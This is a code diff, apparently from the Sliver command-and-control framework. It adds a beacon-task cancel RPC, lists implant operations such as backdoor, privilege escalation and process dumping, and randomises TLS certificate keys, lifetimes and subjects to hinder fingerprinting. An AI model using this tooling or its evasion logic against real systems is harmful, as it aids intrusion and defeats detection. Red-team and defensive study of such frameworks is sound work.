36, // 65: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
37, // 66: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
38, // 67: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
39, // 68: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
40, // 69: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
41, // 70: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
42, // 71: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
43, // 72: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
44, // 73: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
45, // 74: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
46, // 75: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
47, // 76: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
48, // 77: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
49, // 78: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
50, // 79: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
51, // 80: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
52, // 81: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
53, // 82: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
54, // 83: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
55, // 84: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
56, // 85: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
0, // 86: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
57, // 87: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
58, // 88: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
59, // 89: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
60, // 90: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
61, // 91: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
62, // 92: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
63, // 93: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
64, // 94: rpcpb.SliverRPC.Backdoor:input_type -> sliverpb.BackdoorReq
65, // 95: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
66, // 96: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
67, // 97: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
68, // 98: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
69, // 99: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
70, // 100: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
71, // 101: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
72, // 102: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
73, // 103: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
74, // 104: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
75, // 105: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
76, // 106: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
77, // 107: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
78, // 108: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
79, // 109: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
80, // 110: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
81, // 111: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
82, // 112: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
83, // 113: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
84, // 114: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
85, // 115: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
86, // 116: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
87, // 117: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
87, // 118: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
88, // 119: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
89, // 120: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
89, // 121: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
90, // 122: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 123: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
91, // 124: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
92, // 125: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 126: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
93, // 127: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 128: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
94, // 129: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
95, // 130: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
4, // 131: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 132: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
96, // 133: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
5, // 134: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
5, // 135: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
97, // 136: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 137: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
98, // 138: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
99, // 139: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
100, // 140: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
101, // 141: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
102, // 142: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
103, // 143: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
103, // 144: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
104, // 145: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
104, // 146: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
12, // 147: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 148: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
12, // 149: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
12, // 150: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
105, // 151: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
105, // 152: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
106, // 153: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
13, // 154: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 155: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 156: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
107, // 157: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
107, // 158: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
108, // 159: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 160: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
109, // 161: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
110, // 162: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
111, // 163: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
112, // 164: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 165: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
18, // 166: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
113, // 167: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
114, // 168: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
115, // 169: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
116, // 170: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
117, // 171: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
118, // 172: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
22, // 173: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 174: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
22, // 175: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
22, // 176: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
22, // 177: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
25, // 178: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
119, // 179: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
120, // 180: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
121, // 181: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
122, // 182: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
123, // 183: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
124, // 184: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
124, // 185: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
125, // 186: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
126, // 187: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
127, // 188: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
128, // 189: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
129, // 190: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
130, // 191: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
131, // 192: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
132, // 193: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
133, // 194: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
134, // 195: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
135, // 196: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
135, // 197: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
135, // 198: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
136, // 199: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
137, // 200: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
138, // 201: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
138, // 202: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
139, // 203: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
140, // 204: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
141, // 205: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
142, // 206: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
143, // 207: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 208: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
144, // 209: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
145, // 210: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
146, // 211: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
146, // 212: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
146, // 213: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
147, // 214: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
148, // 215: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
149, // 216: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
150, // 217: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
151, // 218: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
152, // 219: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
153, // 220: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
154, // 221: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
155, // 222: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
156, // 223: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
157, // 224: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
158, // 225: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
159, // 226: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
160, // 227: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
74, // 228: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 229: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
161, // 230: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
162, // 231: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
163, // 232: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
164, // 233: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
164, // 234: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
165, // 235: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
165, // 236: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
166, // 237: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
167, // 238: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
168, // 239: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
169, // 240: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
87, // 241: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 242: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
88, // 243: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
89, // 244: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 245: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
90, // 246: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
170, // 247: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
124, // [124:248] is the sub-list for method output_type
0, // [0:124] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
0, // [0:0] is the sub-list for extension extendee
0, // [0:0] is the sub-list for field type_name
+1
View File
@@ -29,6 +29,7 @@ service SliverRPC {
rpc RmBeacon(clientpb.Beacon) returns (commonpb.Empty);
rpc GetBeaconTasks(clientpb.Beacon) returns (clientpb.BeaconTasks);
rpc GetBeaconTaskContent(clientpb.BeaconTask) returns (clientpb.BeaconTask);
rpc CancelBeaconTask(clientpb.BeaconTask) returns (clientpb.BeaconTask);
// ***Threat monitoring ***
rpc MonitorStart(commonpb.Empty) returns (commonpb.Response);
+36 -4
View File
@@ -1,8 +1,4 @@
// Code generated by protoc-gen-go-grpc. DO NOT EDIT.
// versions:
// - protoc-gen-go-grpc v1.2.0
// - protoc v3.21.5
// source: rpcpb/services.proto
package rpcpb
@@ -41,6 +37,7 @@ type SliverRPCClient interface {
RmBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*commonpb.Empty, error)
GetBeaconTasks(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.BeaconTasks, error)
GetBeaconTaskContent(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error)
// ***Threat monitoring ***
MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error)
MonitorStop(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Empty, error)
@@ -279,6 +276,15 @@ func (c *sliverRPCClient) GetBeaconTaskContent(ctx context.Context, in *clientpb
return out, nil
}
func (c *sliverRPCClient) CancelBeaconTask(ctx context.Context, in *clientpb.BeaconTask, opts ...grpc.CallOption) (*clientpb.BeaconTask, error) {
out := new(clientpb.BeaconTask)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CancelBeaconTask", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) MonitorStart(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*commonpb.Response, error) {
out := new(commonpb.Response)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MonitorStart", in, out, opts...)
@@ -1374,6 +1380,7 @@ type SliverRPCServer interface {
RmBeacon(context.Context, *clientpb.Beacon) (*commonpb.Empty, error)
GetBeaconTasks(context.Context, *clientpb.Beacon) (*clientpb.BeaconTasks, error)
GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error)
// ***Threat monitoring ***
MonitorStart(context.Context, *commonpb.Empty) (*commonpb.Response, error)
MonitorStop(context.Context, *commonpb.Empty) (*commonpb.Empty, error)
@@ -1543,6 +1550,9 @@ func (UnimplementedSliverRPCServer) GetBeaconTasks(context.Context, *clientpb.Be
func (UnimplementedSliverRPCServer) GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetBeaconTaskContent not implemented")
}
func (UnimplementedSliverRPCServer) CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
return nil, status.Errorf(codes.Unimplemented, "method CancelBeaconTask not implemented")
}
func (UnimplementedSliverRPCServer) MonitorStart(context.Context, *commonpb.Empty) (*commonpb.Response, error) {
return nil, status.Errorf(codes.Unimplemented, "method MonitorStart not implemented")
}
@@ -2090,6 +2100,24 @@ func _SliverRPC_GetBeaconTaskContent_Handler(srv interface{}, ctx context.Contex
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_CancelBeaconTask_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.BeaconTask)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).CancelBeaconTask(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/CancelBeaconTask",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).CancelBeaconTask(ctx, req.(*clientpb.BeaconTask))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_MonitorStart_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
@@ -4176,6 +4204,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetBeaconTaskContent",
Handler: _SliverRPC_GetBeaconTaskContent_Handler,
},
{
MethodName: "CancelBeaconTask",
Handler: _SliverRPC_CancelBeaconTask_Handler,
},
{
MethodName: "MonitorStart",
Handler: _SliverRPC_MonitorStart_Handler,
+1 -1
View File
@@ -1,6 +1,6 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.27.1
// protoc-gen-go v1.26.0
// protoc v3.21.5
// source: sliverpb/sliver.proto
+2 -2
View File
@@ -20,7 +20,7 @@ package certs
import (
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/server/log"
"golang.org/x/crypto/acme/autocert"
@@ -37,7 +37,7 @@ var (
// GetACMEDir - Dir to store ACME certs
func GetACMEDir() string {
acmePath := path.Join(getCertDir(), ACMEDirName)
acmePath := filepath.Join(getCertDir(), ACMEDirName)
if _, err := os.Stat(acmePath); os.IsNotExist(err) {
acmeLog.Infof("[mkdir] %s", acmePath)
os.MkdirAll(acmePath, 0700)
+8 -8
View File
@@ -25,7 +25,7 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/server/assets"
)
@@ -44,7 +44,7 @@ func SetupCAs() {
func getCertDir() string {
rootDir := assets.GetRootAppDir()
certDir := path.Join(rootDir, "certs")
certDir := filepath.Join(rootDir, "certs")
if _, err := os.Stat(certDir); os.IsNotExist(err) {
err := os.MkdirAll(certDir, 0700)
if err != nil {
@@ -57,7 +57,7 @@ func getCertDir() string {
// GenerateCertificateAuthority - Creates a new CA cert for a given type
func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) {
storageDir := getCertDir()
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
certsLog.Infof("Generating certificate authority for '%s'", caType)
cert, key := GenerateECCCertificate(caType, commonName, true, false)
@@ -104,9 +104,9 @@ func GetCertificateAuthority(caType string) (*x509.Certificate, *ecdsa.PrivateKe
// GetCertificateAuthorityPEM - Get PEM encoded CA cert/key
func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) {
caType = path.Base(caType)
caCertPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
caKeyPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
caType = filepath.Base(caType)
caCertPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
caKeyPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
certPEM, err := ioutil.ReadFile(caCertPath)
if err != nil {
@@ -134,8 +134,8 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
// CAs get written to the filesystem since we control the names and makes them
// easier to move around/backup
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
err := ioutil.WriteFile(certFilePath, cert, 0600)
if err != nil {
+23 -10
View File
@@ -31,6 +31,7 @@ import (
"errors"
"fmt"
"math/big"
insecureRand "math/rand"
"net"
"time"
@@ -40,12 +41,6 @@ import (
)
const (
// RSAKeySize - Default size of RSA keys in bits
RSAKeySize = 2048 // This is plenty 4096 is overkill
// Certs are valid for ~3 Years, minus up to 1 year from Now()
validFor = 3 * (365 * 24 * time.Hour)
// ECCKey - Namespace for ECC keys
ECCKey = "ecc"
@@ -148,7 +143,9 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
privateKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
curve := curves[randomInt(len(curves))]
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
if err != nil {
certsLog.Fatalf("Failed to generate private key: %s", err)
}
@@ -158,7 +155,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
return generateCertificate(caType, subject, isCA, isClient, privateKey)
}
// GenerateRSACertificate - Generates a 2048 bit RSA Certificate
// GenerateRSACertificate - Generates an RSA Certificate
func GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
certsLog.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName)
@@ -167,7 +164,7 @@ func GenerateRSACertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
if err != nil {
certsLog.Fatalf("Failed to generate private key %s", err)
}
@@ -183,7 +180,7 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
notBefore := time.Now()
days := randomInt(365) * -1 // Within -1 year
notBefore = notBefore.AddDate(0, 0, days)
notAfter := notBefore.Add(validFor)
notAfter := notBefore.Add(randomValidFor())
certsLog.Debugf("Valid from %v to %v", notBefore, notAfter)
// Serial number
@@ -297,3 +294,19 @@ func randomInt(max int) int {
i := binary.LittleEndian.Uint32(buf)
return int(i) % max
}
func randomValidFor() time.Duration {
validFor := 3 * (365 * 24 * time.Hour)
switch insecureRand.Intn(2) {
case 0:
validFor = 2 * (365 * 24 * time.Hour)
case 1:
validFor = 3 * (365 * 24 * time.Hour)
}
return validFor
}
func rsaKeySize() int {
rsaKeySizes := []int{4096, 2048}
return rsaKeySizes[randomInt(len(rsaKeySizes))]
}
+1 -1
View File
@@ -37,7 +37,7 @@ func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {
var err error
// Generate private key
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
if err != nil {
certsLog.Fatalf("Failed to generate private key %s", err)
return nil, nil, err
-1
View File
@@ -66,7 +66,6 @@ func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error)
// OperatorClientListCertificates - Get all client certificates
func OperatorClientListCertificates() []*x509.Certificate {
operatorCerts := []*models.Certificate{}
dbSession := db.Session()
result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts)
+325 -86
View File
@@ -16,6 +16,11 @@ package certs
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Use JARM if you want to fingerprint, don't rely on the subject, its sloppy.
*/
import (
@@ -23,101 +28,314 @@ import (
"fmt"
insecureRand "math/rand"
"strings"
"github.com/bishopfox/sliver/server/codenames"
)
var (
// State -> Localities -> Street Addresses
states = map[string]map[string][]string{
"": {
"": {""},
// Finally found a good use for Github Co-Pilot!
// Country -> State -> Localities -> Street Addresses
subjects = map[string]map[string]map[string][]string{
"US": {
"": {
"": {
"",
},
},
"Arizona": {
"Phoenix": {""},
"Mesa": {""},
"Scottsdale": {""},
"Chandler": {""},
},
"California": {
"San Francisco": {"", "", "Golden Gate"},
"Oakland": {""},
"Berkeley": {""},
"Palo Alto": {""},
"Los Angeles": {""},
"San Diego": {""},
"San Jose": {""},
"Sunnyvale": {""},
"Santa Clara": {""},
"Mountain View": {""},
"San Mateo": {""},
"Redwood City": {""},
"Menlo Park": {""},
"San Bruno": {""},
"San Carlos": {""},
"San Leandro": {""},
"San Rafael": {""},
"San Ramon": {""},
"Santa Monica": {""},
"Santa Rosa": {""},
"South San Francisco": {
"",
},
},
"Colorado": {
"Denver": {""},
"Boulder": {""},
"Aurora": {""},
"Fort Collins": {""},
},
"Connecticut": {
"New Haven": {""},
"Bridgeport": {""},
"Stamford": {""},
"Norwalk": {""},
},
"Washington": {
"Seattle": {""},
"Tacoma": {""},
"Olympia": {""},
"Spokane": {""},
},
"Florida": {
"Miami": {""},
"Orlando": {""},
"Tampa": {""},
"Jacksonville": {""},
},
"Illinois": {
"Chicago": {""},
"Aurora": {""},
"Naperville": {""},
"Peoria": {""},
},
"Indiana": {
"Indianapolis": {""},
"Fort Wayne": {""},
"Evansville": {""},
"South Bend": {""},
},
"Massachusetts": {
"Boston": {""},
"Worcester": {
"",
"Polytechnic Institute",
},
"Springfield": {""},
"Lowell": {""},
},
"Michigan": {
"Detroit": {""},
"Grand Rapids": {
"",
"State University",
},
"Warren": {""},
"Sterling Heights": {
"",
"Community College",
},
},
"Minnesota": {
"Minneapolis": {""},
"Saint Paul": {""},
"Bloomington": {""},
"Plymouth": {""},
},
"New Jersey": {
"Newark": {""},
"Jersey City": {
"",
"Institute of Technology",
},
"Paterson": {""},
"Elizabeth": {
"",
"Princeton",
},
},
"New York": {
"New York": {""},
"Buffalo": {""},
"Rochester": {
"",
"University",
},
"Yonkers": {""},
},
"North Carolina": {
"Charlotte": {""},
"Raleigh": {""},
"Greensboro": {
"",
"University",
},
"Winston-Salem": {""},
},
"Ohio": {
"Columbus": {""},
"Cleveland": {
"",
"State University",
},
"Cincinnati": {""},
"Toledo": {""},
},
},
"Arizona": {
"Phoenix": {""},
